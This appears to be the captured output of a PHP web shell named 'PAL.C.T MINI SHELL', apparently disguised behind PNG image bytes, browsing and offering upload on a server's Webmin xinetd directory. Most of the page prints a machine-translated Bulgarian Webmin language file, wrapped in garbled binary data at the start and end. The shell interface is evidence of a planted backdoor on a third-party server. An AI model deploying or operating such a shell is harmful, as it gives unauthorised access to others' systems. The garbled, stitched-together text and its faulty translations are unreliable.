php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/xinetd/lang/
upload
files >> //usr/libexec/webmin/xinetd/lang/bg.auto

index_title=Мрежови услуги
index_none=Все още не са дефинирани мрежови услуги.
index_name=Име на услугата
index_type=Тип
index_port=Номер на пристанище
index_rpc=RPC
index_inet=интернет
index_proto=протокол
index_user=потребител
index_server=Сървърна програма
index_redirect=Напред към $1 
index_enabled=Enabled?
index_internal=Вътрешен към Xinetd
index_add_inet=Създайте нова интернет услуга
index_add_rpc=Създайте нова RPC услуга
index_return=списък на услуги
index_defaults=Редактиране по подразбиране
index_defaultsmsg=Щракнете върху този бутон, за да редактирате опциите по подразбиране, които се прилагат за всички интернет и RPC услуги
index_apply=Прилага промени
index_applymsg=Кликнете върху този бутон, за да приложите текущата конфигурация, като изпратите сигнал SIGUSR2 към протичащия <tt>xinetd</tt> процес
index_start=Стартирайте Xinetd
index_startmsg=Щракнете върху този бутон, за да стартирате Xinetd сървъра с текущата конфигурация
index_econf=Конфигурационният файл Xinetd $1 не съществува. Може би не е инсталиран или вашата <a href='$2'>конфигурация на модул</a> е неправилна.
index_estart=Командата за стартиране на Xinetd $1 не съществува. Може би не е инсталиран или вашата <a href='$2'>конфигурация на модул</a> е неправилна.
index_noport=неизвестен
index_enable=Активиране на избраните
index_disable=Деактивиране на избраните

serv_create=Създайте Интернет услуга
serv_edit=Редактиране на Интернет услуга
serv_header1=Опции за сервизна мрежа
serv_header2=Опции за сервизна програма
serv_header3=Контрол на достъпа до услуги
serv_id=Име на услугата
serv_port=Номер на пристанище
serv_port_def=стандарт
serv_sock=Тип гнездо
serv_proto=протокол
serv_enabled=Услугата е активирана?
serv_bind=Обвържете с адреса
serv_bind_def=всичко
serv_user=Изпълнете като потребител
serv_group=Изпълнете като група
serv_group_def=От потребител
serv_prog=Услуга, обслужвана от
serv_internal=Вътрешен към Xinetd
serv_server=Сървърна програма
serv_redirect=Напред за домакин
serv_rport=порт
serv_wait=Изчакайте, докато завърши?
serv_inst=Макс едновременни сървъри
serv_inst_def=неограничен
serv_nice=Приятно ниво за сървър
serv_cps0=Максимални връзки в секунда
serv_cps_def=неограничен
serv_cps1=Забавяне, ако е достигнат максимум
serv_sec=секунди
serv_from=Разрешаване на достъп от
serv_from_def=Всички домакини
serv_from_sel=Само изброени домакини ..
serv_access=Отказване на достъп от
serv_access_def=Няма домакини
serv_access_sel=Само изброени домакини ..
serv_times=Разрешаване на достъп на моменти
serv_times_def=По всяко време
serv_err=Неуспешно запазване на услугата
serv_eid=Липсващо или невалидно име на услугата
serv_ebind=Липсващ или невалиден адрес за обвързване
serv_eport=Липсващ или невалиден номер на порт
serv_einst=Липсващ или невалиден брой едновременни сървъри
serv_euser=Трябва да въведете потребител
serv_egroup=Трябва да влезете в група
serv_estd=Няма стандартен номер на порт за услуга $1 
serv_eproto=Трябва да изберете протокол за тази услуга
serv_eserver=Липсваща или невалидна сървърна програма
serv_erhost=Липсващ или невалиден хост за пренасочване
serv_erport=Липсващ или невалиден порт за пренасочване
serv_enice=Липсващо или невалидно хубаво ниво
serv_ecps0=Липсващ или невалиден брой връзки в секунда
serv_ecps1=Липсва или невалидно забавяне
serv_etimes=Времето за достъп трябва да бъде във формат HH: MM-HH: MM

sock_stream=поток
sock_dgram=Datagram
sock_raw=суров
sock_seqpacket=Последователна дейтаграма

proto_=По подразбиране
proto_ip=IP (Интернет протокол)
proto_tcp=TCP (протокол за контрол на предаването)
proto_udp=UDP (User Datagram Protocol)

restart_err=Промените не бяха приложени
restart_ekill=Неуспешно изпращане на USR2 сигнал до PID $1 : $2 
restart_epid=Вече не тичам

start_err=Неуспешно стартиране на xinetd
start_estart=$1 не успя : $2 

defs_title=Опции по подразбиране
defs_header=Опции по подразбиране за услуги
defs_log=Режим на регистрация на Xinetd
defs_log_def=Деактивиране на регистрацията
defs_facility=Влезте в syslog съоръжението
defs_level=на ниво
defs_file=Влезте в файл
defs_soft=Ограничение за мек файл
defs_hard=Ограничение за твърд файл
defs_success=При успешен регистър на връзката
defs_success_pid=Идентификационен номер на сървърния процес
defs_success_host=Отдален хост
defs_success_userid=Отдален идентичен потребител
defs_success_exit=Състояние на изхода на сървъра
defs_success_duration=Продължителност на сесията
defs_failure=При неуспешен дневник на връзката
defs_failure_host=Отдален хост
defs_failure_userid=Отдален идентичен потребител
defs_failure_attempt=Опит за свързване
defs_failure_record=Отдалечена информация
defs_err=Неуспешно запазване на опциите по подразбиране
defs_efile=Липсващо или невалидно име на лог файл
defs_esoft=Липсваща или невалидна мека граница
defs_ehard=Липсва или невалиден твърд лимит

log_create_serv=Създадена е услуга $2 $1 
log_modify_serv=Променена $2 услуга $1 
log_delete_serv=Изтрита услуга $2 $1 
log_start=Стартиран Xinetd сървър
log_apply=Приложени промени
log_defaults=Променени опции по подразбиране
log_enable=Активирани услуги $1 
log_disable=Деактивирани услуги $1 
log_enable_l=Активирани услуги $1 
log_disable_l=Услуги с увреждания $1 

config_dirdef=Конфигурационен файл на Xinetd
config_dirto=Нов файл в директория
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`